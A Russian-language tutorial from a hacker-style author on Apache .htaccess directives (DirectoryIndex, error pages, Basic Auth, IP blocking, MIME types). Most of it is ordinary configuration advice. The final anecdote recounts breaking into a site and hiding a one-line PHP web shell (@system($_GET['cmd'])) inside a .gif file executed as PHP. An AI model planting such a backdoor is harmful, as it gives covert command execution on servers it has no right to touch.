[ .htaccess ]
Не для кого не секрет что в большинстве(да в каком нафиг большинстве ВЕЗДЕ)
используется веб-сервер Apache. Ну наверно как все знают эта такая программа
которая получает http запрос и отправляет на него ответ. Как то Cobalt переводил
статью о том как правильно настроить Apache так вот настроить то его можно, но
только большинство хостингов не дает вам право на это. Вот после не долгих
раздумий разработчики Apache почесали репу и решили сделать специальный
исполнимый файл который мог бы управления конфигурацией Apache, вот как раз эти
файлы и называются .htaccess.
Что мы можем:
Первое что стоит запомнить - Действие команд из файла .htaccess распространяется
и на подкаталоги того каталога, в котором этот файл размещен.
DirectoryIndex:
Все привыкли что при заходе на сайт например www.gfs-team.ru грузится index.php,
но представь себе что по каким непонятным тебе мыслям ты решил чтобы твой сайт
грузился с votetoohrenetkakayastranica.php вот как раз в такой ситуации тебе и
поможет эта директива достаточно в файле .htaccess прописать :
DirectoryIndex votetoohrenetkakayastranica.php
И всё, все твои желания выполнены.
Options -Indexes
Ты наверно видел если на сайте нету того файла который показывается по умолчанию
вылетает листинг файлов и папок, если ты хочешь чтобы этого не происходило
используй директиву Options -Indexes
ErrorDocument
Странствуя по сети ты наверно точно натыкался на ошибки например:
Forbidden You dont have permission to access / on this server
Это 403 ошибка, допустим ты хочешь чтобы если пользователь сделал что то не так
то он не получал бы эти английские иероглифы, а увидел бы красивую надпись на
родном русском языке где все рассказано по человечески и сказана что нужно
делать. В такой ситуации тебе поможет директива ErrorDocument
Пример:
ErrorDocument 404 /error.html
Теперь при возникновении 404 ошибки пользователь будет перенаправлен на
страницу error.html
Наиболее часто встречающиеся ошибки:
400 - Bad Request
401 - Unauthorized
402 - Payment Required
403 - Forbidden
404 - Not Found
405 - Method Not Allowed
406 - Not Acceptable
407 - Proxy Authentication Required
408 - Request Time-out
409 - Conflict
410 - Gone
411 - Length Required
412 - Precondition Failed
413 - Request Entity Too Large
414 - Request-URI Too Large
415 - Unsupported Media Type
500 - Internal Server Error
501 - Not Implemented
502 - Bad Gateway
503 - Service Unavailable
504 - Gateway Time-out
505 - HTTP Version not supported
Auth*
Ну чтож мы дошли до самой полезной по моему мнению директивы это Auth*
С помощью этой директивы можно устанавливать пароль на определенную раздел или
страницу.
Пример:
AuthType Basic
AuthName "Please enter pass"
AuthUserFile /gfs/hackthemall/BD_microsoft/
require user admin (так будет допущен только пользователь admin, если написать
так : require user valid-user то будут допущены все пользователи которые
указанны в htpasswd)
также надо создать файл называемый .htpasswd который будет лежать в
/gfs/hackthemall/BD_microsoft/ тоесть в папке которую мы указываем в AuthUserFile
и в этом файле будут храниться login:password (в зашифрованном виде)
зашифровать пароли можно с помощью проги htpasswd которая поставляется вместе с
Apache:
запускаем htpasswd с параметрами -c fail user
-c - создать новый файл с паролем
fail - это имя файла который он создаст (следует использовать . htpasswd)
user - это имя пользователя
После этого програмулина попросит вас ввести пароль а потом повторить введенный
вами ранее пароль. После проделывания этих не хитрых действий будет создан файл
в котором и будет лежать login:password.
Теперь заливаем его в папку которую указали в AuthUserFile и теперь если
попытаемся зайти в эту папку вы увидим просьбу Please enter pass.
Order, Allow, Deny
Вот представь себе такую ситуацию: Ты только что написал новый двиг, в котором
есть банальная гостевая книга(без всяких защит и проверок на флуд) так вот
только ты запустил свой проект и не написал функцию БАНА как какая то С*КА
решила пофлудить у тебя, в гостевой конечно можно сделать временный бан на PHP.
Но сегодня же мы говорим о .htaccess так что и будем делать это по средствам
.htaccess.
Пример:
Order Allow,Deny
Deny from 192.168.1.2
Allow from All
И теперь пользователь с IP 192.168.1.2 будет не допущен до сервера. Если вместо
192.168.1.2 написать 192.168.1 то все пользователи с IP 192.168.1.* будут также
заблокированы.
AddType
Вы наверно знаете что когда вы заходите на какой то Интернет ресурс то ваш
браузер посылает запрос и ответ на него в нем (в ответе) существует заголовок
который показывает с каким типом данных браузер имеет дело (так называемым MIME
type).
На пример браузер получил такой ответ:
…Content-Type: text/html …
И теперь браузер знает что он работает с обыкновенным html документом.
Допустим вам понадобилось, чтобы файл с расширением *.cpp отображались в
браузере как html документ для этого в .htaccess вы должны написать:
AddType "text/html" .cpp
Далее привожу таблицу наиболее распространенных типов.
Описание Расширение MIME type
Картинка gif gif image/gif
Картинка jpeg jpeg image/jpeg
HTML-документ html text/html
Обычный текст asc text/plain
Архив ZIP zip application/zip
Файл MS Word doc application/msword
Файл Adobe Acrobat pdf application/pdf
Flash-документ swf application/x-shockwave-flash
С AddType у меня был такой случай.
Как то странствуя по сети я наткнулся на какой то так называемый ХАК ресурс, ну
и по какой то причине стал его раскапывать. Уже не помню как,вроде через обычный
инклуд, мне удалось залить web-shell. Через некоторое время странствования по
директориям я обнаружил в корне сайта .htaccess и там были такая строчка
<Files "g.gif">
AddType application/x-httpd-php .gif
</Files>
Если перевести это на русский язык это будет выглядеть так: "Файл g.gif теперь
будет исполняться так же как и php файлы" кто хоть раз пытался написать сниффер
на php, сразу наверно поняли что на этом Хацкерском сайте был свой самопальный
PHP - сниффер. Так вот теперь у меня отпал такой вопрос: "Куда же залить Shell
чтобы админ не засек?" я просто немножко подправил этот g.gif, вставив туда до
боли знакомую строчку @system($_GET["cmd"]); и вот у меня уже в руках
полноценный web-shell который врятли когда либо обнаружит админ этого сайта =))).
И на последок …
Я постарался описать самые банальные примеры решения задач, которые часто
возникают у новичков. Если окажутся вопросы в помощь вам google…все конец……. =))
(c) pridu_ROCK aka Rocky